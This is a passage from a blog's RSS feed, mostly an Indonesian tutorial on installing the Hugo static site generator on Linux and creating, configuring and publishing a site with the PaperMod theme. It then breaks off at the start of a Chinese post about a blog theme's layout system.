&lt;em&gt;framework&lt;/em&gt; yang memungkinkan setiap orang untuk membuat dan mengelola website mereka.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Secara teknis, Hugo adalah &lt;em&gt;static site generator&lt;/em&gt;. &lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Secara umum, website dibagi 2: &lt;em&gt;dynamic &amp;amp; static site&lt;/em&gt; dan itu disesuaikan dengan kebutuhan atau tujuan dibuatnya website tersebut. Tapi, umumnya, &lt;em&gt;static site&lt;/em&gt; memang banyak digunakan sebagai:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Personal blog posts&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Documentasi pages&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Portofolio pages, dan lain sebagainya.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Instalasi Hugo&lt;a href=&quot;#instalasi-hugo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Hugo dapat diinstal di sistem operasi apapun, Windows, Mac, atau Linux dapat menginstall Hugo. Tapi, kali ini, karena saya menggunakan Linux sebagai sistem operasi dasar, maka saya hanya akan membatasi instalasi Hugo di Linux saja.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Linux&lt;a href=&quot;#linux&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk instalasi Hugo di Linux, kita hanya perlu mengetikkan beberapa perintah di terminal sebagai berikut:&lt;/p&gt;&lt;p&gt;Debian/Ubuntu-based&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo apt install hugo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Fedora-based&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo dnf install hugo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Arch-based&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo pacman -S install hugo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk distro Linux lainnya yang non-Debian/Arch/Fedora-based, tinggal menyesuaikan dengan &lt;em&gt;package manager&lt;/em&gt; yang ada di distro tersebut. Yang jelas, yang harus dipastikan adalah bahwa program Hugo yang akan diinstal tersebut tersedia di &lt;em&gt;official repository&lt;/em&gt; masing-masing distro.&lt;/p&gt;&lt;p&gt;Setelah proses instalasi selesai, kita dapat memastikan program Hugo sudah terinstall di sistem kita dengan melihat berapa versi Hugo tersebut, melalui perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kebetulan di laptop saya, versi yang terinstall adalah Hugo v0.113.0.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;311&quot; src=&quot;/_astro/ss1.Bp8gGSwm_Z1Rhn3s.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Bikin Hugo-site (lima menit)&lt;a href=&quot;#bikin-hugo-site-lima-menit&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Tutorial ini akan terbagi menjadi 4 bagian, yaitu Membuat website,menambahkan konten, mengkonfigurasi website, mempublikasikan website&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Sebagai prasyarat keberhasilan&lt;/strong&gt;, versi Hugo yang terinstall harus yang &lt;em&gt;extended edition&lt;/em&gt;, v0.112.0 atau yang terbaru.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Kita akan banyak menggunakan perintah atau &lt;em&gt;command&lt;/em&gt; via terminal untuk mengoperasikan Hugo. Pengetahuan tentang &lt;em&gt;basic &lt;strong&gt;git&lt;/strong&gt;&lt;/em&gt; juga diperlukan.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Membuat website&lt;a href=&quot;#1-membuat-website&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Secara sederhana, hanya 6 perintah yang diperlukan untuk menciptakan website Hugo sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;quickstart&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;quickstart&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;init&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;submodule&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/adityatelange/hugo-PaperMod.git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;themes/papermod&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;theme = &apos;papermod&apos;&quot;&lt;/span&gt;&lt;span&gt; &amp;gt;&amp;gt; &lt;/span&gt;&lt;span&gt;hugo.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah penjelasan baris perbaris dari kumpulan perintah tersebut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;quickstart&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;digunakan untuk membuat struktur direktori (&lt;em&gt;directory structure&lt;/em&gt;) website kita yang tersimpan dalam folder/direktory quickstart.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;623&quot; height=&quot;574&quot; src=&quot;/_astro/ss2.BKlXiKcL_284c01.webp&quot; /&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;quickstart&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;masuk ke direktori quickstart yang baru saja dibuat.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;init&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;menginisialisasi direktori quickstart sebagai direktori git.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;submodule&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/adityatelange/hugo-PaperMod.git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;themes/papermod&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;mengkloning tema papermod ke direktori themes, dan menambahkannya sebagai &lt;em&gt;git submodule&lt;/em&gt; di project kita.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;theme = &apos;papermod&apos;&quot;&lt;/span&gt;&lt;span&gt; &amp;gt;&amp;gt; &lt;/span&gt;&lt;span&gt;hugo.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;menambahkan tema papermod di file konfigurasi website, hugo.toml.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;memulai Hugo development server. &lt;em&gt;Default server&lt;/em&gt;-nya ada di localhost port 1313. Tekan Ctrl+c untuk menyetop &lt;em&gt;development server&lt;/em&gt;-nya.&lt;/p&gt;&lt;p&gt;Tampilan website Hugo yang baru saja kita buat dengan tema papermod:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;705&quot; src=&quot;/_astro/ss3.Cq1UNGqx_Z1is5Pd.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Menambahkan konten&lt;a href=&quot;#2-menambahkan-konten&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk menambahkan page baru untuk website Hugo, kita dapat mengetikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;post/postingan-pertama.md&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hugo akan membuat file baru bernama &lt;strong&gt;postingan-pertama.md&lt;/strong&gt; di direktori content/post. Buka file tersebut.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;797&quot; height=&quot;356&quot; src=&quot;/_astro/ss4.CWPgmfeq_Z1zl0BV.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Yang perlu diperhatikan adalah &lt;em&gt;value&lt;/em&gt; dari draft adalah &lt;code&gt;true&lt;/code&gt;. Secara default, Hugo tidak mem-&lt;em&gt;publish&lt;/em&gt; konten yang masih berbentuk draft ketika kita mem-&lt;em&gt;build&lt;/em&gt; website-nya nanti.Jadi, jika kita ingin konten tersebut terpublikasikan, kita hanya perlu mengganti &lt;em&gt;value draft&lt;/em&gt; tadi ke &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Berikutnya, silakan tambahkan isi postingan tersebut dengan &lt;a href=&quot;https://www.markdownguide.org/cheat-sheet/&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;syntax&lt;/em&gt; markdown&lt;/a&gt;. Misalnya, saya akan tambahkan&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## Pengenalan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Halo! Ini adalah teks **tebal**, dan ini adalah teks *miring*.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Tutorial belajar Hugo bisa langsung ke website [Hugo](https://gohugo.io) ya!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;517&quot; height=&quot;329&quot; src=&quot;/_astro/ss5.DYKOBH3Q_ZMaTu8.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Simpan filenya, kemudian kita dapat memulai server development Hugo-nya dengan perintah berikut (terutama untuk menampilkan file yang masih berupa draft):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--buildDraft&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-D&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;769&quot; height=&quot;470&quot; src=&quot;/_astro/ss6.Fc-ARDz4_Z2qPJy4.webp&quot; /&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;607&quot; src=&quot;/_astro/sr1.BDbPZOpa_pU873.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Mengkonfigurasi website&lt;a href=&quot;#3-mengkonfigurasi-website&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mengkonfigurasi website, kita dapat membuka file konfigurasi (hugo.toml) di direktory ‘root’ proyek Hugo kita.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;363&quot; height=&quot;265&quot; src=&quot;/_astro/ss7.Bb_21Dxo_Z24iun0.webp&quot; /&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;baseURL&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;http://example.org/&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;languageCode&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;en-us&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;My New Hugo Site&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;theme&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;papermod&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita dapat mengubah &lt;em&gt;value&lt;/em&gt; baseURL ke alamat URL dimana kita akan meng-&lt;em&gt;hosting&lt;/em&gt; website Hugo kita. Misalnya, saya akan mengganti &lt;em&gt;value&lt;/em&gt; baseURL-nya ke ‘&lt;a href=&quot;https://abwildan.github.io/&quot; target=&quot;_blank&quot;&gt;https://abwildan.github.io/&lt;/a&gt;’ karena nanti saya akan mem-publikasikan website hugo ini di Github. Tapi, untuk sementara, karena kita belum akan mempublikasikan website kita ke manapun, jadi, kita akan meng-&lt;em&gt;comment&lt;/em&gt; variabel baseURL ini.&lt;/p&gt;&lt;p&gt;Begitu juga dengan variabel title, kita dapat mengganti &lt;em&gt;value&lt;/em&gt;-nya dengan apapun karena itu yang akan menjadi judul website kita dan tampil di pojok kiri atas website. Misalnya, saya akan ganti judul website-nya dengan ‘Website Wildan’.&lt;/p&gt;&lt;p&gt;Untuk melihat perubahan yang sudah dibuat, silakan di-save, dan jalankan perintah seperti sebelumnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-D&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Maka, semua perubahan tadi akan tampak sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#baseURL = &apos;https://abwildan.github.io&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;languageCode = &apos;en-us&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title = &apos;Website Wildan&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;theme = &apos;papermod&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1124&quot; height=&quot;691&quot; src=&quot;/_astro/ss8.DjaEf5me_Z1HOv3q.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Mempublikasikan website&lt;a href=&quot;#4-mempublikasikan-website&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ketika kita memublikasikan website, Hugo akan membuat seluruh situs statis di direktori &lt;strong&gt;public&lt;/strong&gt; di root proyek, termasuk file HTML, dan aset seperti gambar, berkas CSS, dan berkas JavaScript.&lt;/p&gt;&lt;p&gt;Ketika memublikasikan website, biasanya kita tidak ingin menyertakan konten draft. Jadi, yang akan di-&lt;em&gt;publish&lt;/em&gt; adalah konten yang tidak berstatus draft. Perintahnya sederhana.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;681&quot; height=&quot;362&quot; src=&quot;/_astro/ss9.BnGYxFFj_Z1AhUNB.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gohugo.io/about/what-is-hugo/&quot; target=&quot;_blank&quot;&gt;https://gohugo.io/about/what-is-hugo/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gohugo.io/getting-started/quick-start/&quot; target=&quot;_blank&quot;&gt;https://gohugo.io/getting-started/quick-start/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Firefly 布局系统详解</title><link>https://shangdi.github.io/posts/guide/firefly-layout-system/</link><guid isPermaLink="true">https://shangdi.github.io/posts/guide/firefly-layout-system/</guid><description>深入了解 Firefly 的布局系统，包括侧边栏布局（左侧/双侧）和文章列表布局（列表/网格），以及自适应网格列数。</description><pubDate>Sat, 03 Jan 1970 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;📖 概述&lt;a href=&quot;#-概述&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Firefly 提供了灵活的布局系统，允许您根据内容需求和个人喜好自定义博客的视觉呈现方式。布局系统主要包括&lt;strong&gt;侧边栏布局&lt;/strong&gt;和&lt;strong&gt;文章列表布局&lt;/strong&gt;两个维度，它们相互配合，共同决定了页面的整体结构。&lt;/p&gt;&lt;p&gt;本文将详细介绍 Firefly 的各种布局模式、它们的特点、使用场景，以及不同布局组合的效果。&lt;/p&gt;&lt;hr /&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;左侧边栏+列表布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/left-list.CdJfuugk_23fiFf.webp&quot; 